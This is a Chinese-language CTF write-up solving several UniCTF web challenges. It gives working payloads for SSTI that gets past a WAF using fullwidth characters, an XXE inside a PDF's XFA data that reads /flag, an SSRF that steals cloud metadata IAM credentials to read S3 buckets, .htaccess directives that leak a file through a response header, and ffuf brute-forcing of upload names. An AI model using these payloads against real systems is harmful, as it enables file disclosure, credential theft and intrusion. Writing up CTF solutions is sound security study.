UniCTF Web全解(全速更新中)

UniCTF Web 全解

GlyphWeaver

image-20260206175305361

题目提示jinja2,说明存在SSTI注入。

image-20260206175340677

注意这个CJK-friendly,上网查了一下,中日韩文友好,这实际上也意味着对Unicode兼容字符做了规范化处理,全角会变成半角。

download_image

waf显然是对原始输入进行检测,但是payload并没有被执行,说明这个预览仅进行一次渲染,需要寻找二次渲染触发点。而下面的Export Console很显然就是我们要找的触发点。

image-20260206180425926

waf同样只检测原始输入,但是因为这里是创建一个包含信息的Task,所以在第一次渲染后,Motto里的圆角{}就变成了半角,再点右上角的Check Status,就会进行没有waf的二次渲染。

最终,圆角杀死了比赛。

image-20260206181042859
1
UniCTF{${uuid}}{e71cb3f2-6353-46d2-bab6-e60d96efd048}

SecureDoc(Adobe XFA)

image-20260207002206239

只允许上传PDF格式的文件,然后支持的功能里可以看到XFA-based …,这意味着后端会提取并解析PDF中的**XFA(XML Forms Architecture)**数据。

依然先贴出payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config><present><pdf><interactive>1</interactive></pdf></present></config>
<template>
<subform>
<field>
<value>
<text>FLAG_CONTENT_BELOW:
&xxe;
FLAG_CONTENT_ABOVE</text>
</value>
</field>
</subform>
</template>
</xdp:xdp>

XFA是Adobe为了让PDF更强大而引入的新技术,它允许PDF内部嵌入一段XML数据来动态描述表单的布局、数据和交互逻辑。但是如果我们能控制XML数据,就可以控制XML解析器的行为。

结合脚本,讲讲XML的格式:

  • 信头:<?xml version="1.0" encoding="UTF-8"?>

    一份声明,标志着这是一个XML文档。

  • DTD:

    1
    2
    3
    <!DOCTYPE data [
    <!ENTITY xxe SYSTEM "file:///flag">
    ]>
    • <!DOCTYPE data[...]>一个文档类型定义,也是攻击将要发生的地方,我们可以在这里定义一些变量。

    • <!ENTITY ...>就是定义变量的具体位置,其中ENTITY意为实体(可以理解为变量),xxe则是变量名,SYSTEM是命令关键词,"file:///flag"是变量的值。

      整段连起来,xxe这个变量的值就是系统中/flag文件的内容。

    • XFA表单数据:

    1
    <xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
    • <xdp:xdp>...</xdp:xdp>是Adobe XFA特有的标签,标志着其中是XFA表单数据。
    • xmlns:xdp="..."是命名空间,xmlns即为XML NameSpace,它定义xdp这个名字代表其中的网址。我们命名的这个xdp只能是前缀,比如我定义a即<a:xdp>,后面的xdp是元素名、代表XFA数据包的根节点,是死的。但是最好就叫xdp,避免因为后端正则匹配触发不了解析器。
    • http://ns.adobe.com/xdp/代表其中XFA表单数据都是Adobe XFA表单数据,这个也是死的。
  • 深入表单内部:

    • <config><present><pdf><interactive>1</interactive></pdf></present></config>

      <config></config>代表其中的内容是一些配置。

      <present></present>指定配置的具体方向,是偏向展示的配置。

      <pdf></pdf>指定配置只对PDF生效。

      <interactive>1</interactive>是一个交互性开关,1为True、0为False,True代表其中的变量可以被渲染,如果为False则原样输出。

      这段config可以不写的,写了可以确保兼容性。

    • <template>是表单模板,类似于html里的<body>

      • <subform>类似于html里的<div>
        • <field>定义一个输入框,类似于html里的<input type="text">
          • <value><text>定义输入框里的默认内容。在其中我们用一些文字包裹变量,就将代码包装成了合法的表单字段值。

如果解析器处理完了XXE,<text></text>中就会回显flag内容。

我们回头讲一下XXE。

XXE(XML External Entity Injection),顾名思义,就是XML外部实体注入,我们通过File://让变量指向外部文件,而服务器上的XML解析器刚好也加载了外部实体的功能,那么我们就能读到外部文件的内容。

包装成PDF即为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
%PDF-1.4
1 0 obj
<< /Type /Catalog /AcroForm 2 0 R >>
endobj

2 0 obj
<< /XFA 3 0 R >>
endobj

3 0 obj
<< /Length 198 >>
stream
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<field><value><text>&xxe;</text></value></field>
</xdp:xdp>
endstream
endobj

trailer
<< /Root 1 0 R >>
%%EOF

那这道题发包即可,重定向就能看到flag。

image-20260208005457693
1
UniCTF{3b9469fd-c505-4b85-9504-e1ec0bcebb00}

CloudDiag

SSRF题目。

SSRF(Server-Side Request Forgery,服务端请求伪造),是一种借服务器访问网址并返回结果的方法。比如这道题,我们因为无法直接访问http://metadata:1338/这个内网地址,但是可以通过服务器访问。传统的SSRF通常用来攻击内网Redjs、MySQL、读取etc/passwd,但是这道题是云SSRF,目标是读取云主机元数据服务(Instance Metadata Service,IMDS)。

MetaData(元数据)是什么?

当我们在云上创建一台虚拟机时,云厂商会给机器提供一个元数据服务(IMDS),让这台机器通过访问特定的内网地址(比如169.254.169.254)来查询自己的信息。信息包括实例ID位置区域私有IP和公有IPIAM角色凭证,我们可以通过SSRF获取这些信息。

通过用服务器访问内网中的某些路径即可获得信息,但是路径是什么?

路径有固定格式,例如本题在AWS中,http://metadata:1338/latest/meta-data/iam/security-credentials/,路径就是:/版本号(通常是latest)/元数据目录(通常是meta-data)/IAM(我们要找的东西)/安全凭证(security-credentials)/角色名

image-20260209011051143

给了一个登录页面,题目大概率是有高权限的账号的,尝试弱口令爆破。

image-20260209011029232

看到用户名root,密码root123

image-20260209011209490

有一个历史记录Legacy metadata check,点进去可以看到:

image-20260212190220788

拿到了路径和角色名,前往/tasks接口拼接查询:

1
http://metadata:1338/latest/meta-data/iam/security-credentials/clouddiag-instance-role

拿到:

1
2
3
4
5
{
"AccessKeyId": "AKIAF0C0EE620F534135",(角色名)
"SecretAccessKey": "120d091baced4abfae6658ca158c0aacaacef2f20d894aa9a248125d344382dd",(密码)
"Token": "1dd65b0a39ad4c83b67a640664c32f3172256953bfe54f6fbadd8254bc413680",(令牌)
}

接下来我们就可以去/explorer读取S3存储桶。

关于bucketsS3(Simple Storage Service)

存储桶(Bucket)是对象的载体,可理解为存放对象的“容器”,且该“容器”无容量上限。对象以扁平化结构存放在存储桶中,无文件夹和目录的概念,用户可选择将对象存放到单个或多个存储桶中。

用一句话来说,存储桶就是一个公共的、没有目录结构的容器,而对象(Object)就是其中的文件。只需要拿到AK(角色名)、SK(密码)和Token就可以看到存储桶中的特定对象。

image-20260212192717728

在这里填上相关信息,可以看到服务器拥有的Buckets:

image-20260212192821849

选择clouddiag-secrets这个bucket,可以看到bucket中的objects:

image-20260212192931480

再指定flags/runtime/flag-1f3ca9c225dc4b118d951dc844c4d229.txt这个object,即可得到flag:

1
UniCTF{be8049b2-0ec7-47e8-84be-ef339425f3cd}

ezUpload(Revenge)

文件上传题,⚠️ Upload Restrictions

  • Max size: 1KB
  • Forbidden chars: ? $ & ; | ` \ <
  • No PHP code

<被ban了就可以告别php代码了。

看到响应头:

1
Server: Apache/2.4.65 (Debian)

于是考虑.htaccess

关于.htaccess

全称是Hypertext Access,是Apache Web服务器(或者LiteSpeed)中使用的一种目录级别的配置文件。作用是允许在不修改全局配置(即httpd.conf)且不重启服务器的情况下,对特定目录及其子目录下的Web请求进行动态的配置控制。最大的特色是允许即时解析。

要想.htaccess文件生效首先需要主配置文件打开AllowOverride(AllowOverride All等),如果写了

AllowOverride None就无效了。还可以控制.htaccess文件具体控制的内容,比如写

1
AllowOverride FileInfo AuthConfig

即只允许重写文件类型和权限认证相关的指令。

解法一:

这里给出.htaccess的payload:

1
2
3
4
RewriteEngine On
RewriteCond expr "file('/flag') =~ /(.+)/"
RewriteRule .* - [E=FLAG_CONTENT:%1]
Header set X-Test-Expr "%{FLAG_CONTENT}e"

这个文件读取flag的逻辑是利用Apache内置的file函数把/flag读出来,存到环境变量里再读出来。

第一行RewriteEngine On:打开重写引擎,引入RewriteCondRewriteRule

第二行RewriteCond expr"file('/flag') =~ /(.+)/"

  • RewriteCond:即Rewrite Condition,相当于if,后面接条件,如果满足条件就触发RewriteRule内容。
  • expr"...":即expression,可以解析""里的表达式。
  • file('/flag')expr引擎提供的函数。
  • =~意思是:左边的内容是否可以和右边的正则匹配。
  • /(.+)///为边界符,()为捕获组,即将匹配到的内容捕获并暂存,.代表任意单个字符,+代表前面的字符有出现过,所以.+即匹配任意一段不为空的文本。

第三行RewriteRule .* - [E=FLAG_CONTENT:%1]

  • RewriteRule:执行动作。
  • .*:匹配任意请求。
  • -:不修改网址。
  • [E=FLAG_CONTENT:%1][]即标志位,用来执行额外的特殊指令。中间内容即E=变量名:变量值,创建一个环境变量。%1是反向引用,提取上一行中()里的内容。

第四行Header set X-Test-Expr "%{FLAG_CONTEN}e"

  • Header:调用响应头模块。

  • set:设置。

  • X-Test-Expr:自定义Header名字。

  • "%{FLAG_CONTENT}e":Header的值。使用%{}e可以读取{}中环境变量的值。

新建任意文件上传,访问,看头即可。

解法二(仅针对非Revenge):

1
2
3
Options +Indexes
DirectoryIndex /123.txt
Header set X-Flag "expr=%{file:/flag}"

第一行Options +Indexes:开启Apache的目录浏览功能,由此可以访问/upload

第二行DirectoryIndex /123.txt:设置目录索引,用户访问/upload时会默认展示/123.txt这个文件,如果没有就展示索引。因为看到了有一个test.txt,所以这里可以改成test.txt

第三行Header set X-Flag "expr=%{file:/flag}":与前一种方法有异曲同工之妙,但是这个更简洁。

1
2
3
UniCTF{7cb4c534-0166-499a-87ab-82678b300f7c}

UniCTF{39a5f9e3-0ed4-4b0e-98c5-d01fd03b563d}

一鸣唱吧

依然有登录界面,可以尝试找一下高权限账号。

image-20260225015918481

可以在主页看到上传,这里随便传一个空的a.txt

image-20260227024518400

可以看到文件重命名了,规律是UNiCTF2026xx,后缀名不变。所以这里我们直接fuff爆破,

先用seq创造00~99的字典,

1
seq -w 0 99 > /tmp/num00.txt

再通过kali自带的后缀名词典拼接爆破:

1
2
3
4
ffuf -u 
http://80-4e7658dd-2e6d-4009-80a9-4702b372b225.challenge.ctfplus.cn/uploads/UNiCTF2026W1W2
-w /tmp/num00.txt:W1
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-extensions-lowercase.txt:W2

最终看到:

image-20260227035645523

看到UNiCTF202638.php是一个phpinfo,直接找环境变量,可以看到flag。

1
UniCTF{d6c44bca-1d34-4146-bf93-6b481297d3d9}

也许是非预期呢,预期解稍后再更吧。